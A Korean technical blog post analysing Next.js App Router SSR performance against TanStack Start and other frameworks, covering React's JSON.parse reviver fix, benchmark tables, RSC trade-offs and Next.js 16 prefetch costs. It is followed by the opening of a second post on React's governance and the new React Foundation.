이전 React의 구현에서 reviver가 필요했던 이유는, RSC Flight 포맷에서 `$`로 시작하는 특수 문자열(모듈 참조, Promise, lazy 등)을 만나면 별도 처리가 필요했기 때문이다. 변경의 핵심을 의사코드로 단순화하면 이렇다 (실제 PR의 코드는 [facebook/react#35776](https://github.com/facebook/react/pull/35776)에서 확인할 수 있다):

```javascript
// 변경 전 (의사코드): JSON.parse에 reviver 전달
// → 모든 키-값 쌍마다 C++↔JS 경계 교차 발생
const model = JSON.parse(payload, function reviver(key, value) {
  if (typeof value === 'string' && value[0] === '$') {
    return parseModelString(value, ...)
  }
  return value
})
```

```javascript
// 변경 후 (의사코드): 2단계 접근
// 1단계: C++에서 순수 파싱 (경계 교차 1회)
const model = JSON.parse(payload)

// 2단계: JavaScript에서 필요한 노드만 순회하며 변환
function reviveModel(value) {
  if (typeof value === 'string') {
    if (value[0] === '$') return parseModelString(value, ...)
    return value  // 대부분의 문자열은 여기서 즉시 반환
  }
  if (typeof value === 'object' && value !== null) {
    for (const key in value) {
      value[key] = reviveModel(value[key])
    }
  }
  return value
}
reviveModel(model)
```

핵심 차이는 두 가지다.

1. **C++↔JS 경계 교차가 2회로 고정된다.** 페이로드 크기에 비례하지 않는다.
2. **short-circuit 최적화가 가능하다.** 대부분의 문자열은 CSS 클래스명이나 텍스트 콘텐츠처럼 `$`로 시작하지 않으므로, 첫 글자만 확인하고 건너뛸 수 있다.

PR에서 제시된 페이로드 크기별 벤치마크 결과를 보면, 페이로드가 클수록 개선 폭이 커진다.

| 페이로드              | Before   | After    | 개선율  |
| --------------------- | -------- | -------- | ------- |
| Small (142B)          | 0.0024ms | 0.0007ms | 72%     |
| Medium (914B)         | 0.0116ms | 0.0031ms | 73%     |
| Large (16.7KB)        | 0.1836ms | 0.0451ms | 75%     |
| XL (25.7KB)           | 0.3742ms | 0.0913ms | 76%     |
| 1000행 테이블 (110KB) | 3.0862ms | 0.6887ms | **78%** |

페이로드가 클수록 개선 폭이 커진다. 110KB에서 78% 개선이라는 것은, 기존 구현에서 경계 교차 비용이 얼마나 지배적이었는지를 보여준다. 파싱 로직 자체는 경량인데 매번 C++↔JS를 오가는 비용이 전체를 지배하고 있었던 것이다.

실제 Next.js 앱에서의 효과도 PR에서 측정되었다. nested Suspense가 있는 페이지에서 평균 렌더링 시간이 78ms → 59ms(**24% 개선**), 이중 중첩 레벨에서는 169ms → 134ms(**21% 개선**)를 보였다.

참고로 이 수정은 React 코어에 반영되었으므로, Next.js뿐 아니라 RSC를 사용하는 **모든 프레임워크**가 혜택을 받는다.

### 오버헤드 3: 프레임워크 레이어의 누적된 무게

`JSON.parse` reviver가 flamegraph에서 확인된 가장 극적인 단일 병목이었다면, 나머지 오버헤드에 대해서는 아키텍처적 추론에 의존할 수밖에 없다. Next.js가 요청마다 수행하는 작업들을 나열하면 다음과 같다.

- **파일시스템 기반 라우팅**: 요청 URL을 `app/` 디렉토리의 파일 구조와 매칭. layout, template, loading, error 등의 파일 규약을 해석하고 중첩 레이아웃 트리를 구성
- **fetch 자동 중복 제거와 캐시**: 같은 요청의 fetch를 자동으로 중복 제거하고, 캐시 전략(`force-cache`, `no-store`)을 적용하는 로직
- **Metadata API**: `generateMetadata` 함수 실행, 중첩된 레이아웃의 메타데이터 병합
- **스트리밍 파이프라인**: Suspense 경계를 감지하고, `$RC()` 함수와 `<template>` 태그를 활용한 비순차 스트리밍(out-of-order streaming) 조율
- **Client Component 참조 관리**: `'use client'` 경계를 넘는 모든 컴포넌트와 props의 직렬화 관리

이 각각이 전체 오버헤드에서 얼마를 차지하는지는 프로파일링 데이터 없이는 단정할 수 없다. 다만 이것들이 **모든 SSR 요청마다** 실행되는 반면, TanStack Start나 React Router 같은 더 얇은 프레임워크에서는 이런 레이어가 최소화되어 있다는 것은 아키텍처적으로 분명하다. eknkc 벤치마크에서 React(1.3ms) → Next.js App Router(18.7ms)로 약 17ms가 추가되는데, `JSON.parse` reviver 수정이 약 75%의 개선을 가져왔다는 것은 이 17ms 중 상당 부분이 RSC 역직렬화에 집중되어 있었음을 시사한다.

## Next.js 16.2의 공식 벤치마크

2026년 3월 18일에 공개된 [Next.js 16.2 릴리스 블로그](https://nextjs.org/blog/next-16-2)에서는 위 `JSON.parse` 수정의 실제 영향을 공식 수치로 제시했다.

| 시나리오                              | Before | After | 개선율  |
| ------------------------------------- | ------ | ----- | ------- |
| Server Component Table (1000 items)   | 19ms   | 15ms  | 26%     |
| Server Component with nested Suspense | 80ms   | 60ms  | 33%     |
| Payload CMS 홈페이지                  | 43ms   | 32ms  | 34%     |
| Payload CMS (rich text)               | 52ms   | 33ms  | **60%** |

RSC payload가 클수록 개선 폭이 커진다는 패턴이 다시 확인된다. Payload CMS의 rich text 페이지는 문자열 비율이 높은 대형 payload를 생성하는데, 여기서 60%라는 가장 큰 개선이 나왔다. 이는 기존의 reviver 방식에서 모든 문자열마다 C++↔JS 경계를 넘었던 비용이 얼마나 컸는지를 방증한다.

Vercel이 공식적으로 표현한 개선율은 "RSC payload deserialization이 최대 **350% 빨라짐**", 실제 앱 기준 "**25-60% faster rendering to HTML**"이다.

Next.js 16.2에는 이 외에도 주목할 개선이 포함되었다.

- `next dev` 시작 속도 **~400% 향상** (같은 프로젝트에서 16.1 대비 87% 빠름)
- `ImageResponse` 기본 이미지 **2배**, 복잡한 이미지 최대 **20배** 빨라짐
- `next start --inspect`로 프로덕션 서버에 Node.js 디버거 연결 가능

등이 포함되었다. 성능 개선에 상당한 리소스를 투입하고 있다는 것은 분명하다.

## 마이크로벤치마크: 렌더링 오버헤드의 해부

Platformatic 벤치마크가 실제 앱 수준의 부하 테스트였다면, [eknkc/ssr-benchmark](https://github.com/eknkc/ssr-benchmark)는 프레임워크의 순수 렌더링 성능만을 측정하는 마이크로벤치마크다.

**중요한 주의사항:** 이 벤치마크의 마지막 커밋은 2024년 4월이다. 따라서 테스트된 Next.js 버전은 v14~v15 초기일 가능성이 높으며, Next.js 16.2의 RSC 역직렬화 개선이 반영되지 않았다. 아래 수치는 "개선 전" 기준으로 읽어야 한다. 그래도 프레임워크 간 상대적 오버헤드의 구조적 차이를 파악하는 데는 유용하다.

테스트 환경은 다음과 같다.

- Node.js v20.6.1, MacBook Pro M1 Pro
- HTTP 오버헤드 완전 제거 (모의 요청/응답 사용)
- 테스트 시나리오: 1000행 테이블, 각 행에 UUID 2열
- Next.js의 라우트 캐시 비활성화 (`export const dynamic = 'force-dynamic'`)
- 비동기 데이터 로딩 포함 (Suspense 또는 loader 활용)

### 프레임워크 벤치마크

| 프레임워크      | ops/sec | 평균(ms) | 응답 크기(KB) | React 대비 | 중복 계수 |
| --------------- | ------- | -------- | ------------- | ---------- | --------- |
| React (기준선)  | 766     | 1.305    | 97.28         | 1x         | —         |
| SvelteKit       | 589     | 1.696    | 184.46        | 1.30x      | x2.00     |
| Remix           | 449     | 2.224    | 189.10        | 1.71x      | x2.00     |
| Nuxt            | 381     | 2.622    | 201.12        | 2.01x      | x2.00     |
| Qwik City       | 278     | 3.584    | 139.21        | 2.76x      | x1.00     |
| Next.js (Pages) | 104     | 9.590    | 187.67        | **7.37x**  | x2.00     |
| Astro           | 99      | 10.077   | 99.91         | 7.74x      | x1.00     |
| Next.js (App)   | 53      | 18.673   | 284.64        | **14.45x** | —         |

몇 가지 눈에 띄는 점이 있다.

**첫째, Next.js App Router는 Pages Router보다도 2배 느리다.** App Router(18.673ms)가 Pages Router(9.590ms)보다 거의 2배 느린 것은 RSC가 추가하는 오버헤드의 직접적 증거다. 같은 Next.js 프레임워크 내에서도 App Router를 선택하는 것만으로 성능이 절반으로 줄어든다.

**둘째, 응답 크기가 말해주는 것.** Next.js App Router의 응답은 284.64KB인데, 순수 React의 97.28KB 대비 약 2.92배다. 이것이 앞서 설명한 이중 데이터 문제의 직접적 수치다. 흥미롭게도 Qwik(139.21KB, 중복 x1.00)과 Astro(99.91KB, 중복 x1.00)는 hydration 데이터를 보내지 않아 응답이 작다.

**셋째, 격차의 크기가 비상식적이다.** SvelteKit은 1.30배, Remix는 1.71배의 오버헤드만 가진다. 프레임워크 레이어가 추가하는 오버헤드가 30-70%라면 합리적인 범위다. 하지만 Next.js App Router의 14.45배는 차원이 다른 수준이다.

### 렌더러 벤치마크

프레임워크 전체가 아닌 렌더링 엔진만 분리해서 비교한 결과도 있다.

| 렌더러     | ops/sec | 평균(ms) | Marko 대비 |
| ---------- | ------- | -------- | ---------- |
| Marko      | 6,675   | 0.150    | 1x (기준)  |
| Kita (JSX) | 3,074   | 0.325    | 2.17x      |
| Hono JSX   | 945     | 1.058    | 7.06x      |
| Vue        | 897     | 1.114    | 7.44x      |
| React      | 764     | 1.308    | 8.74x      |
| Qwik       | 622     | 1.605    | 10.73x     |
| Solid      | 613     | 1.630    | 10.89x     |

React의 순수 렌더링 성능(1.308ms)은 프레임워크들 사이에서 중간 정도다. Marko(0.150ms)나 Kita(0.325ms)와는 큰 차이가 있지만, Vue(1.114ms)와는 비슷하다. 즉, React 자체의 렌더링 속도는 합리적인 범위인데, Next.js가 그 위에 쌓는 레이어가 1.3ms를 18.7ms로 만들고 있다는 것이다.

## TanStack Start: 같은 React 위에서 어떻게 5.5배를 달성했나

Next.js의 성능 문제가 React 자체의 한계인지, 아니면 Next.js 프레임워크 레이어의 문제인지를 판단하려면 대조군이 필요하다. TanStack Start가 바로 그 역할을 한다. 같은 React 19 위에서 동작하지만 RSC를 사용하지 않는 SSR 프레임워크다.

TanStack Start 역시 초기 벤치마크(v1.150.0)에서는 좋지 않았다. 평균 응답시간 3초 이상, p95 레이턴시 10,001ms(타임아웃), 성공률 75%로 고전했다. 하지만 Platformatic이 공유한 flamegraph를 기반으로 7개 마이너 버전 만에 극적인 개선을 이뤄냈다.

TanStack 팀이 [공개한 최적화 과정](https://tanstack.com/blog/tanstack-start-5x-ssr-throughput)에서 발견된 4가지 병목과 수정 방법은 SSR 성능 최적화의 교과서적 사례다.

### 1. URL 파싱의 오버헤드

이커머스 앱에는 링크가 많다. 상품 목록, 카테고리 네비게이션, 판매자 링크 — 한 페이지에 수십~수백 개의 링크가 있을 수 있다. TanStack Router는 각 링크마다 `new URL()`을 생성하고 있었는데, URL 생성은 WHATWG URL 스펙을 완전히 파싱하는 비싼 연산이다.

수정은 간단했다. 값이 명백히 내부 링크인지(절대 경로 `/`로 시작하는지) 먼저 확인하고, 외부 URL일 때만 `URL` 객체를 생성하도록 변경했다.

### 2. SSR에서 불필요한 반응성(reactivity)

TanStack Router는 클라이언트에서의 상태 관리를 위해 스토어 구독, 구조적 공유(structural sharing), 업데이트 배칭 등의 반응성 시스템을 내장하고 있다. 하지만 SSR은 요청당 **한 번만** 렌더링한다. 상태가 변경될 일이 없으므로 구독도, 배칭도, 구조적 공유도 전부 불필요한 CPU 사이클이다.

빌드타임 `isServer` 플래그를 도입하여 서버에서는 이 작업들을 완전히 건너뛰도록 했다. 번들러가 dead code elimination으로 클라이언트 빌드에서는 이 분기를 제거하므로, 클라이언트 성능에는 영향이 없다.

### 3. 서버 전용 빠른 경로(fast path)

위의 `isServer` 패턴을 더 적극적으로 활용했다. 빌드타임 상수로 보호된 서버 전용 코드 경로를 추가하여, 서버에서만 실행되는 최적화된 로직을 별도로 구현했다. 이것만으로 서버 throughput이 **25%** 향상되었다.

### 4. `delete` 연산의 V8 최적화 파괴

이것은 특히 흥미로운 발견이다. JavaScript에서 `delete obj.key`는 단순히 프로퍼티를 제거하는 것이 아니다. V8은 객체의 프로퍼티 구조를 hidden class(또는 Map/Shape)라는 내부 메타데이터로 관리하는데, `delete`는 이 hidden class를 변경하여 V8의 인라인 캐시(IC) 최적화를 무효화한다. 이후 해당 객체에 대한 모든 프로퍼티 접근이 느려진다.

`delete obj.key` 대신 `obj.key = undefined`로 변경하자 `startViewTransition` 메서드의 CPU 시간이 **50% 이상** 감소했다.

이 네 가지 수정의 결과는 극적이었다.

| 지표          | v1.150.0  | v1.157.16   | 개선율    |
| ------------- | --------- | ----------- | --------- |
| throughput    | 427 req/s | 2,357 req/s | **5.5배** |
| 평균 레이턴시 | 424ms     | 43ms        | **9.9배** |
| p99 레이턴시  | 6,558ms   | 928ms       | 7.1배     |
| 성공률        | 99.96%    | 100%        | —         |

Platformatic의 독립 벤치마크에서도 동일한 결론이 나왔다. 같은 부하에서 성공률이 75.5% → 100%, 평균 레이턴시가 3,171ms → 13.7ms로 개선되었다.

핵심은 이 모든 개선이 **같은 React 19 위에서**, 프레임워크 레이어의 최적화만으로 달성되었다는 점이다. React 자체가 느린 게 아니라, 프레임워크가 React 위에 얼마나 효율적인 레이어를 쌓느냐가 성능을 결정한다.

다만, 이 비교에는 구조적 한계가 있다. TanStack Start에서 발견된 병목(URL 파싱, 불필요한 반응성, `delete` 연산)은 TanStack Router 고유의 문제였고, Next.js에 같은 종류의 병목이 있다는 뜻이 아니다. Next.js의 주요 병목은 RSC 역직렬화(`initializeModelChunk`)처럼 RSC라는 근본적으로 다른 아키텍처에서 비롯된다. "TanStack이 빠르게 고쳤으니 Next.js도 그럴 수 있다"고 단순 비교할 수는 없다 — RSC의 이중 직렬화 파이프라인은 URL 파싱 최적화와는 난이도가 다른 문제다.

그럼에도 이 사례가 의미 있는 이유는, 같은 React 위에서도 프레임워크 설계에 따라 SSR 성능이 자릿수 단위로 달라질 수 있다는 것을 실증했기 때문이다.

## RSC는 정말 성능을 개선하는가

React Server Components의 기본 전제는 "서버에서 더 많은 작업을 하고, 클라이언트에 보내는 JavaScript를 줄여서 성능을 개선한다"는 것이다. [Nadia Makarevich의 실측 연구](https://www.developerway.com/posts/react-server-components-performance)는 이 전제를 냉정하게 검증한다.

### 실측 결과

| 렌더링 방식                      | LCP (캐시 없음) | LCP (캐시 있음) |
| -------------------------------- | --------------- | --------------- |
| CSR (클라이언트 렌더링)          | 4.1s            | 800ms           |
| SSR + 클라이언트 데이터 페칭     | 1.61s           | 800ms           |
| Next.js Pages (서버 데이터 페칭) | 2.15s           | 1.15s           |
| Next.js App Router + Suspense    | **1.28s**       | **750ms**       |

App Router + Suspense 조합이 가장 좋은 LCP를 보여준다. 하지만 이 숫자만 보면 안 된다. 핵심적인 조건과 비용이 숨어 있다.

### RSC 단독으로는 성능 개선이 없다

Server Components를 도입하는 것만으로는 아무것도 달라지지 않는다. 위의 1.28s라는 LCP를 얻으려면 **Suspense 경계와 함께 데이터 페칭 구조를 완전히 재설계**해야 한다. 데이터 페칭이 관련되지 않은 페이지에서는 기존 SSR과 성능이 동일하다.

그리고 Suspense를 잘못 배치하면 오히려 성능이 **악화**될 수 있다. 느린 Server Component가 Suspense 경계 없이 다른 컴포넌트 위에 위치하면 전체 스트림이 차단된다. "가장 느린 요리가 나올 때까지 식사를 할 수 없는" 상황이다.

### 비대화형 구간(Non-Interactive Gap)

간과되기 쉬운 점이 있다. 서버 렌더링으로 화면은 빨리 보이지만, JavaScript가 로드되어 hydration이 완료될 때까지 **페이지는 상호작용할 수 없다.** Makarevich의 측정에서 이 비대화형 구간은 **2.52초**에 달했다. 다만 hydration 시간은 클라이언트 CPU 성능, 번들 크기, 네트워크 환경에 직접 의존하므로 이 숫자를 일반화하기는 어렵다. 원문에도 구체적인 측정 기기/네트워크 조건이 명시되어 있지 않다. 그럼에도 LCP(1.28초)와 상호작용 가능 시점 사이에 상당한 갭이 존재한다는 구조적 문제 자체는 유효하다.

RSC의 선택적 hydration(Client Component만 hydrate)이 이 문제를 완화하지만, 완전히 해결하지는 못한다. 그리고 이 비대화형 시간은 클라이언트 번들 크기와 클라이언트 기기 성능에 의존하므로, 서버 최적화로는 줄일 수 없는 영역이다.

### `'use client'` 경계 관리의 어려움

실무에서 RSC의 성능 이점을 온전히 누리기 어려운 이유 중 하나는 `'use client'` 경계 관리다. 공유 파일 상단에 `'use client'`를 추가하면, 그 파일과 모든 import가 클라이언트 컴포넌트로 승격된다.

이것 자체는 RSC의 결함이라기보다 컴포넌트 설계의 문제다. 직접 작성하는 컴포넌트는 Server Component로 유지할 수 있고, Client Component를 최소 단위로 분리하면 경계를 잘 관리할 수 있다. 하지만 현실적으로 MUI, Chakra 같은 서드파티 UI 라이브러리를 사용하면 해당 컴포넌트 트리 전체가 클라이언트로 내려간다. 라이브러리 생태계가 RSC에 아직 완전히 적응하지 못한 과도기적 문제이긴 하나, "RSC를 도입하면 자동으로 번들이 줄어든다"는 기대와 현실 사이에 괴리가 있다는 점은 인지해야 한다.

### 서버 비용의 현실

RSC를 도입하면 서버가 더 많은 일을 한다. 이전에 클라이언트 API 호출로 처리하던 데이터 페칭이 모든 SSR 요청에 포함된다. [GitHub 디스커션 #86081](https://github.com/vercel/next.js/discussions/86081)에서는 "서버 렌더링 오버헤드는 DB + 비즈니스 로직 비용 대비 소수 퍼센트 수준"이라는 반론도 있다. JSP, PHP, Rails도 매 요청마다 HTML을 생성했지만 문제없이 동작했다는 논리다.

하지만 이 주장에는 전제가 있다. 충분한 서버 리소스와 적절한 캐싱이 있을 때의 이야기다. Platformatic 벤치마크에서 Next.js가 1,000 req/s에서 무너진 것은, "소수 퍼센트"의 오버헤드가 부하 상황에서 눈덩이처럼 불어나는 현실을 보여준다.

## Next.js 16 업그레이드의 숨겨진 비용

성능 개선만 있는 것은 아니다. Next.js 15에서 16으로 업그레이드한 후 예상치 못한 문제를 경험한 사례도 있다.

### 세그먼트별 프리페치의 대가

[GitHub 이슈 #85470](https://github.com/vercel/next.js/issues/85470)에서 보고된 내용에 따르면, Next.js 16은 세그먼트별 프리페치(per-segment prefetching) 방식을 도입했다. 이전에는 하나의 라우트에 대해 하나의 프리페치 요청을 보냈지만, 이제는 라우트 트리의 각 세그먼트(layout, page)에 대해 **개별 요청**을 보낸다. 이론적으로는 공유 레이아웃을 한 번만 fetch하고 재사용할 수 있어 캐시 효율이 높아진다.

하지만 현실은 달랐다.

- 한 사용자는 요청 수가 **약 700% 증가**
- Edge Request 기준으로 월 **$800 이상**의 추가 비용 발생
- 의도치 않게 큰 청구서를 받은 사용자가 Vercel에서 25% 환급을 받은 사례
- 정적 내보내기 사용자의 빌드 파일 수가 급증하여 배포 시간이 **2분 → 10분**으로 증가

Vercel의 공식 설명은 "더 많은 개별 프리페치 요청이 발생하지만, 전체 전송량은 감소한다"는 트레이드오프라는 것이었다. 전송량이 줄어들어도, 요청 수 기반으로 과금되는 환경에서는 이 트레이드오프가 비용 폭탄으로 돌아온다. 많은 개발자가 Next.js 15로 다운그레이드했다.

Next.js 16.2에서는 이 문제의 대안으로 [`experimental.prefetchInlining`](https://nextjs.org/blog/next-16-2) 옵션이 추가되었다. 이 옵션을 켜면 하나의 라우트에 대한 모든 세그먼트 데이터를 단일 응답으로 번들링한다. 요청 수는 줄지만, 공유 레이아웃 데이터가 중복 전송되는 트레이드오프가 있다. 아직 실험적 옵션이다.

### 메모리: 또 다른 성능 지표

[BeyondIT의 한 블로그 글](https://beyondit.blog/blogs/nextjs-16-vs-tanstack-start-data-comparison)에서는 Next.js 16의 개발 환경에서 프로세스가 9-10GB까지 메모리를 소비하고, 프로덕션 Kubernetes 환경에서 OOMKilled가 빈번하다고 주장했다. 개발 서버 초기 로드가 10-12초(TanStack Start는 2-3초), HMR이 836ms(TanStack Start는 335ms), CI 빌드가 7배 느리다는 수치도 제시했다. 단, 이 수치들은 해당 블로그 단일 출처에 의존하며 독립적으로 검증되지 않았으므로, 이런 보고가 있다는 정도로만 참고해야 한다.

## 그래서, 충분히 빠른가

이 글에서 다룬 데이터를 종합해 보자.

### 개선된 것

- RSC 역직렬화 **최대 78%** 빨라짐 — `JSON.parse` reviver 제거 (React 코어)
- Next.js 16.2에서 실제 렌더링 **25-60% 향상** (공식 벤치마크)
- v15 → v16 canary에서 throughput **2.2배**, 레이턴시 **83% 감소** (Platformatic 벤치마크)
- `next dev` 시작 속도 **~400% 향상**

### 여전히 남은 것

- Platformatic 벤치마크(2026년 3월, Next.js 16 canary) 기준, 1,000 req/s 부하에서 성공률 **~64%** (TanStack Start: 100%, React Router: 100%)
- RSC의 이중 데이터 아키텍처로 인한 응답 크기 증가 — 이것은 버전과 무관한 구조적 특성
- 캐싱 없이는 고부하를 감당하지 못함
- 세그먼트별 프리페치로 인한 요청 수 급증 사례 (GitHub 이슈 #85470)

### 데이터의 한계

결론을 내리기 전에, 이 글에서 인용한 데이터의 한계를 짚어야 한다.

**Platformatic 벤치마크**는 가장 최신이고 가장 현실적인 테스트지만, 원문 스스로 "코드 불일치가 지적되어 결과를 업데이트할 예정"이라고 밝혔다. 구체적인 수치는 변할 수 있다.

**eknkc 마이크로벤치마크**는 2024년 4월이 마지막 업데이트로, 테스트된 Next.js는 v14~v15 초기다. 본문에서 구조적 오버헤드의 존재를 보여주기 위해 인용했지만, 2026년 2월의 `JSON.parse` reviver 수정 이후 이 격차가 구체적으로 얼마나 줄었는지는 아직 측정되지 않았다. 현재 버전의 정확한 오버헤드 배수는 알 수 없다.

**BeyondIT 비교**(메모리, CI 빌드 등)는 단일 서드파티 블로그 출처로, 독립적으로 검증되지 않았다.

### 결론

구조적 격차는 존재하고, 그 방향성은 여러 데이터에서 수렴한다. 정확한 배수는 아직 측정 중이다.

Platformatic 벤치마크(2026년 3월)에서 확인된 사실은 이렇다. 같은 이커머스 앱을 1,000 req/s로 부하 테스트했을 때, TanStack Start는 13ms/100% 성공, Next.js 16 canary는 431ms 중앙값/64% 성공이었다. 코드 불일치 문제로 수치가 업데이트될 수 있지만, Next.js가 같은 React 생태계의 다른 프레임워크에 비해 SSR throughput에서 뒤처진다는 방향성은 여러 독립적 데이터에서 일관된다.

**구조적 원인이 있다:** 이 격차의 상당 부분은 RSC 아키텍처에서 비롯된다. Flight 프로토콜의 이중 데이터 전송, `initializeModelChunk`의 역직렬화 비용(수정되었지만 구조는 남아있다), 프레임워크 레이어의 누적 오버헤드가 원인이다. RSC를 사용하지 않는 TanStack Start나, RSC 이전의 Pages Router가 더 빠른 것이 이를 뒷받침한다.

**빠르게 개선되고 있다:** v15 → v16 canary에서 throughput 2.2배, 레이턴시 83% 감소. React 코어에 직접 성능 수정을 기여하는 적극적인 자세. 이 궤적이 계속된다면 격차는 줄어들 것이다.

### "캐싱을 쓰면 되지 않느냐"

이것은 독자가 가장 먼저 던질 반론이고, 정직하게 다룰 필요가 있다.

맞다, 캐싱은 강력하다. Next.js는 ISR, `stale-while-revalidate`, 컴포넌트 캐싱(`experimental.cacheComponents`) 등 정교한 캐싱 프리미티브를 제공하고, 이것들을 적절히 활용하면 SSR 오버헤드의 대부분을 회피할 수 있다. 대다수의 프로덕션 Next.js 앱은 이미 캐싱을 적극적으로 사용하고 있고, 그 환경에서는 이 글에서 다룬 수준의 성능 문제를 체감하지 못할 가능성이 높다.

Platformatic이 캐싱을 배제한 이유 — "이커머스 개인화 환경에서는 캐시 적중률이 5% 미만" — 도 특정 시나리오에 한정된 이야기다. 모든 이커머스가 그 수준의 개인화를 하는 것은 아니며, 콘텐츠 사이트나 문서 사이트에서는 캐싱이 매우 효과적이다.

그럼에도 캐싱이 이 문제를 완전히 해소하지는 못한다고 보는 이유가 세 가지 있다.

**첫째, 캐싱은 SSR 성능을 "해결"하는 게 아니라 "우회"하는 것이다.** 캐시 미스가 발생하면 — 그리고 프로덕션에서 캐시 미스는 반드시 발생한다 — 사용자가 체감하는 것은 캐싱되지 않은 SSR의 성능이다. 캐시 적중률이 95%인 사이트에서도 나머지 5%의 사용자는 느린 응답을 받는다. 프레임워크의 기저 성능이 좋을수록 이 5%도 양호한 경험을 얻는다.

**둘째, 캐싱 전략은 복잡도를 추가한다.** ISR의 재검증 주기 설정, 동적/정적 경계 결정, 개인화된 콘텐츠의 캐시 무효화 — 이것들은 올바르게 설정하기 어렵고, 잘못 설정하면 스테일 데이터나 캐시 불일치 문제를 일으킨다. 캐싱이 아닌 기저 성능으로 충분하다면, 이 복잡도 자체가 불필요하다.

**셋째, 동일한 캐싱 전략을 다른 프레임워크에도 적용할 수 있다.** 캐싱으로 Next.js가 빨라진다면, 같은 캐싱을 TanStack Start에 적용하면 더 빨라진다. 캐싱은 모든 프레임워크에 공평한 승수이므로, 프레임워크 간 기저 성능 차이를 정당화하는 논거가 되기 어렵다.

### 이 벤치마크가 의미 있는 경우와 아닌 경우

Platformatic 벤치마크의 조건을 다시 보자. 6 CPU 코어에서 1,000 req/s, 캐싱 없음. Next.js 16 canary는 이 조건에서 701 req/s만 성공시켰다. 코어당 약 117 req/s의 성공 throughput이다.

이 조건이 자신의 프로덕션과 무관하다면 — 예를 들어 정적 생성이 주력이거나, ISR로 대부분의 요청을 캐시에서 처리하거나, 동시 접속이 충분히 낮다면 — 이 글의 숫자들은 참고 수준이다. 대부분의 Next.js 앱은 이 범주에 속할 것이고, 그 환경에서 Next.js는 충분히 잘 동작한다.

하지만 다음 조건이 겹친다면 이 데이터를 진지하게 고려해야 한다.

- **동적 SSR 비율이 높다**: 개인화, A/B 테스트, 실시간 데이터로 인해 캐싱 가능한 비율이 낮다
- **레이턴시 SLA가 엄격하다**: p95 응답시간 500ms 이내 같은 기준이 있다
- **트래픽 스파이크가 빈번하다**: 프로모션, 이벤트 등으로 순간 부하가 급증한다

이 세 가지가 겹치는 환경에서 캐시 미스 트래픽이 코어당 100 req/s를 넘긴다면, Platformatic 벤치마크의 시나리오와 직접적으로 관련이 있다. 이 경우 TanStack Start나 React Router를 대안으로 검토하는 것이 합리적이다.

물론 이 숫자는 Platformatic의 특정 테스트 앱과 인프라에서 나온 것이므로, 정확한 임계값은 자신의 앱으로 직접 부하 테스트를 해봐야 한다. 이 글이 제공하는 것은 임계값이 아니라 방향성이다 — Next.js의 캐싱되지 않은 SSR 성능에는 구조적 비용이 있고, 그 비용이 문제가 되는 조건이 존재한다는 것.

Next.js 팀이 React 코어에 직접 성능 수정을 기여하고(`react#35776`), 외부 벤치마크를 수용하는 자세는 긍정적이다. Platformatic의 문구를 빌리면 이렇다.

> Performance benchmarks capture a moment, not a final judgment.
>
> 성능 벤치마크는 한 순간을 포착할 뿐, 최종 판결이 아니다.

이 글의 숫자들도 한 순간의 포착이다. 하지만 그 순간이 보여주는 구조적 격차는, 다음 벤치마크에서 Next.js 팀이 얼마나 줄여 놓을지 지켜볼 가치가 있다.

## 참고

- [Platformatic — React SSR Framework Showdown: TanStack Start, React Router, and Next.js Under Load](https://blog.platformatic.dev/react-ssr-framework-benchmark-tanstack-start-react-router-nextjs)
- [eknkc/ssr-benchmark — Benchmarking JS web framework SSR performance](https://github.com/eknkc/ssr-benchmark)
- [Next.js 16.2 릴리스 블로그](https://nextjs.org/blog/next-16-2)
- [facebook/react#35776 — Walk parsed JSON instead of using reviver for parsing RSC payload](https://github.com/facebook/react/pull/35776)
- [V8 JSON parser 소스코드 — v8/src/json/json-parser.cc](https://github.com/v8/v8/blob/main/src/json/json-parser.cc)
- [TanStack Blog — 5x SSR Throughput: Profiling SSR Hot Paths in TanStack Start](https://tanstack.com/blog/tanstack-start-5x-ssr-throughput)
- [Nadia Makarevich — React Server Components: Do They Really Improve Performance?](https://www.developerway.com/posts/react-server-components-performance)
- [The Hidden Performance Costs of React Server Components](https://dev.to/rbobr/the-hidden-performance-costs-of-react-server-components-248f)
- [Tony Alicea — Understanding React Server Components](https://tonyalicea.dev/blog/understanding-react-server-components/)
- [Vercel — How to Optimize RSC Payload Size](https://vercel.com/kb/guide/how-to-optimize-rsc-payload-size)
- [GitHub Issue #85470 — Server requests and latency increased after upgrading from Next.js 15 to 16](https://github.com/vercel/next.js/issues/85470)
- [GitHub Discussion #86081 — Real-world cost of Server Components vs CSR at scale](https://github.com/vercel/next.js/discussions/86081)
- [BeyondIT — Next.js 16 vs TanStack Start: Performance, Memory Leaks & Migration Guide](https://beyondit.blog/blogs/nextjs-16-vs-tanstack-start-data-comparison)
- [Northflank — Why we ditched Next.js and never looked back](https://northflank.com/blog/why-we-ditched-next-js-and-never-looked-back)
- [Radek Pietruszewski — I made JSON.parse() 2x faster](https://radex.io/react-native/json-parse/)

---

Source: https://yceffort.kr/2026/03/react-is-whose.md
Title: <em>React</em>는 누구의 것인가
Description: React Foundation이 답해야 할 질문
Date: 2026-03-19
Tags: react, governance, nextjs, vercel, meta
Series: Next.js의 현주소

## Table of Contents

## 서론

React Core 팀은 21명이다. 이 중 5명이 Vercel 소속이고, RSC(React Server Components)의 핵심 설계자가 포함되어 있다. 2026년 2월, React는 Meta를 떠나 [Linux Foundation 산하의 독립 재단](https://react.dev/blog/2026/02/24/the-react-foundation)으로 출범했다. "벤더 중립"이 핵심 메시지다. 하지만 그 중립성을 담보할 구조적 장치는 아직 공개되지 않았다.

[이전 글](/2026/03/nextjs-edge-runtime-rise-and-fall)에서는 Edge Runtime의 확장과 후퇴를, [그 다음 글](/2026/03/why-cloudflare-rebuilt-nextjs)에서는 Next.js의 배포 비대칭성을 다뤘다. 이 글에서는 그 상위의 구조 — React 자체의 기술 방향이 어떻게 결정되어 왔는지를 추적하고, React Foundation이라는 새로운 거버넌스가 이 구조를 바꿀 수 있는지를 살펴본다.

## React Core 팀: 누가 React를 만드는가

React의 기술적 방향은 React Core 팀이 결정한다. [공식 팀 페이지](https://react.dev/community/team) 기준으로 21명이며, 소속은 다음과 같다.

| 소속   | 인원 | 비율 |
| ------ | ---- | ---- |
| Meta   | 14명 | 67%  |
| Vercel | 5명  | 24%  |
| 독립   | 2명  | 9%   |

Meta 소속 14명[^1], Vercel 소속 5명(Andrew Clark, Hendrik Liebau, Josh Story, Sebastian Markbåge, Sebastian Silbermann), 독립 엔지니어 2명(Dan Abramov, Sophie Alpert)이다.

